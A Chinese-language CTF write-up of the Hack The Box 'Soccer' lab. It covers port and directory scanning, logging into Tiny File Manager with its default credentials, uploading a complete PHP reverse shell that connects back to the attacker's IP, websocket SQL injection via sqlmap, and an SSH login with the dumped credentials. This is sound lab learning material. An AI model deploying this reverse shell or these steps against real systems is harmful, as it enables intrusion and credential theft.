这是一个简单的靶场,考察的技能在于:扫描、枚举、提权。
扫描
首先利用nmap进行端口扫描,看一下靶机都有哪些服务:
nmap -sC -sV 10.129.249.125
在该靶场中运行着的服务如下:
PORT STATE SERVICE VERSION 22/tcp open tcpwrapped | ssh-hostkey: | 3072 ad:0d:84:a3:fd:cc:98:a4:78:fe:f9:49:15:da:e1:6d (RSA) | 256 df:d6:a3:9f:68:26:9d:fc:7c:6a:0c:29:e9:61:f0:0c (ECDSA) |_ 256 57:97:56:5d:ef:79:3c:2f:cb:db:35:ff:f1:7c:61:5c (ED25519) 80/tcp open http nginx 1.18.0 (Ubuntu) |_http-title: Soccer - Index |_http-server-header: nginx/1.18.0 (Ubuntu) 9091/tcp open xmltec-xmlmail? | fingerprint-strings: | DNSStatusRequestTCP, DNSVersionBindReqTCP, Help, RPCCheck, SSLSessionReq, drda, informix: | HTTP/1.1 400 Bad Request | Connection: close
随后我们访问一下靶场的ip,可以发现被重定向到了一个私密域名http://soccer.htb/
,我们可以将这个域名和ip添加到hosts文件中,以便后续访问:
sudo echo 10.10.11.194 soccer.htb >> /etc/hosts su echo 10.10.11.194 soccer.htb >> /etc/hosts
添加完成后我们访问一下这个域名,发现其中并没有什么东西,再看一下源代码里面也没有什么可以利用的地方,那就继续扫,直到扫出来东西:
我一般扫描目录会用kali里面下面这个字典:
/usr/share/wordlists/dirb/big.txt
利用dirb、dirsearch或者gobuster工具进行目录扫描,我一般会用gobuster,因为这个扫描的话会比较快一些,当然,还是看师傅们个人的习惯。
经过扫描,我们发现了一个目录/tiny
登录后台
我们对其进行访问:
看起来是一个登录界面,但是我们也没有账号密码,不过在其页面底部我们可以访问一下啊,便可以知道这个是由https://tinyfilemanager.github.io/ 开发的一个PHP文件管理器,而且是开源的,那么我们可以看一下代码看看能不能找到一些思路:
在github的readme中成功找到了默认用户名和密码,我们尝试登陆一下:
可以发现成功登录,那么我们可以上传一个🐎。
反弹Shell
这里的话,因为用的是kali,就选反向shell上传并进行连接:https://github.com/Cyberw1ng/Bug-Bounty/blob/main/rev_shell.php
<?php set_time_limit (0); $VERSION = "1.0"; $ip = '10.10.14.42'; // CHANGE THIS $port = 2929; // CHANGE THIS $chunk_size = 1400; $write_a = null; $error_a = null; $shell = 'uname -a; w; id; /bin/sh -i'; $daemon = 0; $debug = 0; if (function_exists('pcntl_fork')) { $pid = pcntl_fork(); if ($pid == -1) { printit("ERROR: Can't fork"); exit(1); } if ($pid) { exit(0); } if (posix_setsid() == -1) { printit("Error: Can't setsid()"); exit(1); } $daemon = 1; } else { printit("WARNING: Failed to daemonise. This is quite common and not fatal."); } chdir("/"); umask(0); $sock = fsockopen($ip, $port, $errno, $errstr, 30); if (!$sock) { printit("$errstr ($errno)"); exit(1); } $descriptorspec = array( 0 => array("pipe", "r"), 1 => array("pipe", "w"), 2 => array("pipe", "w") ); $process = proc_open($shell, $descriptorspec, $pipes); if (!is_resource($process)) { printit("ERROR: Can't spawn shell"); exit(1); } stream_set_blocking($pipes[0], 0); stream_set_blocking($pipes[1], 0); stream_set_blocking($pipes[2], 0); stream_set_blocking($sock, 0); printit("Successfully opened reverse shell to $ip:$port"); while (1) { if (feof($sock)) { printit("ERROR: Shell connection terminated"); break; } if (feof($pipes[1])) { printit("ERROR: Shell process terminated"); break; } $read_a = array($sock, $pipes[1], $pipes[2]); $num_changed_sockets = stream_select($read_a, $write_a, $error_a, null); if (in_array($sock, $read_a)) { if ($debug) printit("SOCK READ"); $input = fread($sock, $chunk_size); if ($debug) printit("SOCK: $input"); fwrite($pipes[0], $input); } if (in_array($pipes[1], $read_a)) { if ($debug) printit("STDOUT READ"); $input = fread($pipes[1], $chunk_size); if ($debug) printit("STDOUT: $input"); fwrite($sock, $input); } if (in_array($pipes[2], $read_a)) { if ($debug) printit("STDERR READ"); $input = fread($pipes[2], $chunk_size); if ($debug) printit("STDERR: $input"); fwrite($sock, $input); } } fclose($sock); fclose($pipes[0]); fclose($pipes[1]); fclose($pipes[2]); proc_close($process); function printit ($string) { if (!$daemon) { print "$string\n"; } } ?>
在将反向shell中的ip修改为kali的ip后我们保存好文件将其上传:
在kali上面做好监听之后我们访问上传的反向shell进行连接。
在获取shell之后,我们可以发现现在是sh,可以利用下面的命令来将命令改为bash shell:
因为之前用nmap扫描靶机的时候我们知道这里是一个 nginx中间件,对其有研究的师傅都知道,在 /etc/nginx/sites-enabled
文件内,有着服务器所有开放的站点,我们列出其中的文件,可以发现有一个子域:soc-player.htb
那么我们将http://soc-player.soccer.htb/
添加到我们的 hosts 文件中,并在浏览器里面进行访问:
可以发现有 sign up
选项,我们可以注册并登录一下看看:
我们可以发现这里是用来验证Ticket是否存在的,那么我们就可以考虑是否存在sql注入,然后阅读一下源码,我们可以发现这个字段是连接到Web socket的:
var ws = new WebSocket("ws://soc-player.soccer.htb:9091"); window.onload = function () { var btn = document.getElementById('btn'); var input = document.getElementById('id'); ws.onopen = function (e) { console.log('connected to the server') } input.addEventListener('keypress', (e) => { keyOne(e) }); function keyOne(e) { e.stopPropagation(); if (e.keyCode === 13) { e.preventDefault(); sendText(); } } function sendText() { var msg = input.value; if (msg.length > 0) { ws.send(JSON.stringify({ "id": msg })) } else append("????????") } } ws.onmessage = function (e) { append(e.data) } function append(msg) { let p = document.querySelector("p"); // let randomColor = '#' + Math.floor(Math.random() * 16777215).toString(16); // p.style.color = randomColor; p.textContent = msg }
SQL注入
那么我们可以使用下面的 python 代码将请求从 sqlmap 定向到我们的本地主机:
我们先运行python代码,然后再跑sqlmap进行一个注入:
sqlmap -u "http://localhost:8081/?id=1" -p "id"
随后我们可以注入出来一个账号和密码:
+------+-------------------+----------+----------------------+ | id | email | username | password | +------+-------------------+----------+----------------------+ | 1324 | player@player.htb | player | PlayerOftheMatch2022 | +------+-------------------+----------+----------------------+
登陆发现存在账号,但是似乎没有什么用,不过后来想起来ssh端口还开放着,当时也没爆破,不如在这里测试一下,利用注入出来的账号,然后发现成功登录(我严重怀疑是不是注册一个账号都会建立一个用户,不过由于太懒,也没去尝试):
列出当前目录文件后发现有一个user.txt,本来以为是一个用户的hash值,不过抱着找到hash就提交的想法,发现这是个flag,结束,也懒得提权了。。。
总结
这确实是一个简单的靶机,全程下来应该是三个小时左右,加上期间自己的一些私事,还算是比较简单,熟悉了整体流程,比较有意思的地方应该就是转发进行sql注入,当然,在靶场的标签里面还有提权,不过由于拿到flag我就没去进行,可能提权也是一个比较有意思的地方,有兴趣的师傅可以去尝试一下。
本文作者为J1angL1,转载请注明。